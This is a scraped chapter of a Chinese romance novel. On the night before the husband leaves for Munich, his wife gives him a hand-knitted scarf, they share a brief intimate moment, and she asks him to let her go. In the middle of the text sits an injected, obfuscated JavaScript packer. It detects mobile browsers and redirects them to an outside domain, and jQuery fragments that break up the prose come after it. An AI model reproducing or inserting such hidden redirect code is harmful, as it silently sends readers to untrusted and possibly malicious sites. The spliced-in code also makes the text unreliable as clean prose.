八月中旬，莫道言即将返回慕尼黑。
临行前夜，暴雨已肆虐了一周，抢修工人仍在昏暗的雨幕中竭力抢修着电力设施，莫道言自制的发电机在墙角嗡嗡运行，为这个潮湿的夏夜撑起一片光明的，虽然仅能维持三五个小时，更多的时候，他们仍要依靠蜡烛和蒲扇，在热气中继续鏖战。
自去年考研起，英语迎来了一项变革，写作题型亮相，莫道言掐着所剩无几的时间给她特训，每晚一篇命题作文，题目头天由他拟定，内容包罗万象，涵盖时政热点和生活话题，文艺评论，以及看图说话。她时间充裕，就写出完整的文章，时间不够，化繁为简，可以只提炼故事提纲。
他指出作文的重点写作方向：“别只盯着遣词造句，立意深度和独特视角才是高分关键，你是做记者的，看事情的角度本就比常人开阔，这是你的优势。”
这晚补课到十点，最后一小时完全是在热浪中熬过来的，烛光在她脸上跳动，将细腻的肌肤染得绯红，汗珠顺着精致的下颌线滚落，在锁骨处汇成一道微小的溪流，他瞄见时，忽然生出一个荒诞的念头，想用掌心做容器，将每颗坠落的珍珠收集起来。
“这个倒装句是不是用错了？”
一个声音将他拉回现实，她神色专注，仿佛感受不到周遭的闷热，他按下心头躁动，仔细检查修改，末了才提起，已与姑姑打过招呼，等他走了，她还能随时能找姑姑补英文，专业课方面亦能探讨，姑姑虽是历史系教授，但对新闻传播学也颇有研究，假期姑姑总是一个人闷着，她去上课也算陪姑姑了。
“嗯……知道了。”
佟语非口上应着，心里却打定主意不去打扰，莫长萦这些天偶尔会接叶以默到家中读书，已经相当于变相帮她照顾哥哥了，而且莫道言给她补习的效果很显著，几套模拟卷做下来，她的成绩稳定在六十分左右。他还为她制定了详细的强化计划，只要按部就班，英语成绩肯定能稳步提升，往年国家线是四十五分左右，她的目标是保六争七，要是能考过七十分，就是超水平发挥。
“我明天下午一点半的火车……”钢笔在他指间飞转着，他的目光却始终锁在她脸上，“中午出得来吧？一起吃午饭吧，送送我。”
其实北京有直飞慕尼黑的航班，但每周只有两班，时间经常对不上，所以他通常选择从香港转机，以往总是赶早上八点半的列车进京，傍晚到站后休息一晚，第二天一早就能飞香港，当天就能转机去慕尼黑。这次却特意选了下午的车次，整个行程都要推迟半天。万一遇上火车或航班延误，可能就要耽误一整天。
佟语非拿不准他临时改时间是公务需要，还是单纯为了让她送这一程，轻声提醒道：“明天一早我就要和同事去上海培训，最近都不在西城。要是没什么要紧事，你还是坐早班车吧，出门在外，赶早不赶晚。”
他眼中掠过一丝转瞬即逝的黯然：“坐火车去上海？”
“嗯。”
“那至少要转两次车，如果有同事能和你轮流开车，不如开车去，反正家里的车闲置着，以后你有需要随时用，开去单位当公车也行，还有……我走后，你再有事忙不过来，就去老宅找林姨或严叔帮忙，我跟家里人提过了，他们都同意。”
佟语非的手指微微发僵，他说的“家里人”具体指谁她不清楚，但肯定不包括孟如卿。多年前，她唯一一次带着哥哥去见对方，是在一家雅致的茶室，向来怕生的哥哥难得对初次见面的陌生人露出笑容，并笨拙地递了一杯茶，可孟如卿却用丝帕轻掩鼻尖，叫来服务员换了新茶，又用清水反复洗手，像是沾上了什么脏东西。
孟如卿向来最讲究表面礼节，这种下意识的举动反而暴露了骨子里的厌恶，当年她婚后把哥哥“藏”起来，固然有避免闲言碎语的考虑，但孟如卿的态度也是重要原因之一。
莫道言这个人，不爱担麻烦，也不愿麻烦别人，包括他的亲生母亲，即便当初求学受阻，也没低过头，始终以平等姿态与母亲谈判，现在为了她和哥哥一再破例，想必也没少看母亲的脸色。
她心头一软，轻声道：“别操心他了，你明天要带的东西都收拾好了吗？”
“昨夜就整理好了。”
“哦。”
她想说些关切的话，却很难找到合适的词句，慕尼黑是他的留学故地，那里有他的师友同窗，算得上第二故乡，他对该地的风物人情早已习惯，比她这个门外汉更懂得如何自处，实在无需她多言。
“有样东西给你。”她转身从衣柜里取出条灰蓝毛线围巾，“临时赶出来的，你若不嫌弃……”
“你知道我不会。”
围巾用的是中细羊绒毛线，针脚没特别的讲究，用的是最基础的上下针，只在两端添了流苏作点缀，才不至太过单调，不过样式简单，但成千上万针都是一针一针钩出来的，丝毫偷工减料不得，以她在工作和学习的时间安排，所谓的“临时赶工”，肯定是用睡眠时间换来的。
“都说了可以慢慢织的。”他接过围巾时攥住她的手，揉着她食指上被钩针硌出的凹痕，“疼吗？”
“又没破皮，哪里会疼？”她抽回手，“这段日子，谢谢你照顾我哥。”
“他是我兄弟，照顾自家兄弟是本分，你永远不必因为他而谢我，更不要用这份谢意来衡量你我之间的情分，这围巾……我就当是妻子送给远行丈夫的践行礼。”他将围巾绕在颈间，展示给她看，“没有辱没你的手艺吧？”
素净的款式最是经看，灰蓝色意外地衬他冷峻的轮廓，为那份孤傲平添几分内敛的贵气，只是围巾该配毛衣或呢子大衣，跟无袖汗衫实在不搭调，即使莫道言这样出众的身材，此刻也显出了几分滑稽。
她伸手欲解下围巾：“大夏天的，不嫌热……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346755|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不嫌，还能更热。”他扣住她的手腕往自己肩上带，将她牢牢锁入怀中，“佟语非，说不舍得我，不想和我分开。”
逼着她说，却又不给她开口的机会，他灼热的吻随即落下，像是早料到她要说违心话，她没有挣扎，若说乏力还能归咎于疲惫，那放弃抵抗的缘由，连她自己都说不清。在这片混沌的暧昧中，她被莫道言抱住，俯身压进了夏凉被中，任他滚烫的吐息从唇齿间一路烧到心口，她仰面望着上方的吊灯，看着白光不停地跳动，从光点跳成光圈，最后化作吞噬一切的光晕。
眼睛被刺得生疼，她却固执地不肯闭上。
莫道言对上那双眼睛的刹那，蓦地清醒了，他从她身体里感受到了某种真实，那种他不愿承认却无法忽视的真实，她从未如此平静过，或者说，麻木得失去了活气，健康的婚姻能滋养欢愉，如萤火飞入眼底，失败的婚姻能催生怒火，将情分烧成灰烬，他给她的则是最糟糕的那种，只育出了令人心冷的麻木。
他将她散开的衣扣一粒粒系回去，翻身躺在她身旁：“在想什么？”
她转过头，伸出拇指摸他的眉眼，然后在鼻梁与唇线间流连：“怎么每处都生得这么完美，少一分则缺，多一分则过，可最完美的……”手指点点他的太阳穴，“还有这里，造物主真是不公平，从娘胎里就不公平。”
这话听在他耳里不似赞美，亲昵时她还能保持冷静，他已经输得很难看了，听着更像在反讽他“徒有其表”，虽然他知道她并非这个意思：“既然完美，为什么不要？”
“我做过那样的梦，在刚结婚的前几年，差不多是同一个。”她坐起身，声音淡淡的，像在讲旁人的故事，“明知你是被迫的，没有将来，见不着留不住，连维系婚姻都难如登天，却总会梦见你回家了，跟我说要重新开始……醒后就觉得自己又贪又蠢，最初嫁进来图的分明不是这个，但想想实属正常，换作哪个女人遇到，怕都要忍不住做场梦。”
他抬手想碰她的脸，最终悬在半空：“佟语非……”
“今年倒很少梦这些了，最近仅有的几次全是关于考试的，要么出门忘了穿鞋子，要么找不到准考证，再就是考试结束的铃声响了，题目还没做完，前天还梦到我们办婚礼，突然接到考试通知，司仪催得紧，我心下一急，居然扔下满堂宾客就往考场跑，等交卷时才发现，考官是你。”她抱紧膝盖，眉头不自觉地皱起，“残存的意识告诉我这是梦，是假的，给我补课的才是你，我使劲掐手心想要醒来，却怎么都醒不了，其实考不上研也丢不了饭碗，根本没什么好怕的，可不知怎么的，还是哭湿了枕头。”她握住他悬停的手，轻轻贴在自己脸上，“我笑起来不难看吧？生活的奔忙已经让我差点忘了该怎么笑了，至少在梦里，我不想再那么慌张了。”
最后，她一字一顿地对他道：“莫道言，放我走吧。”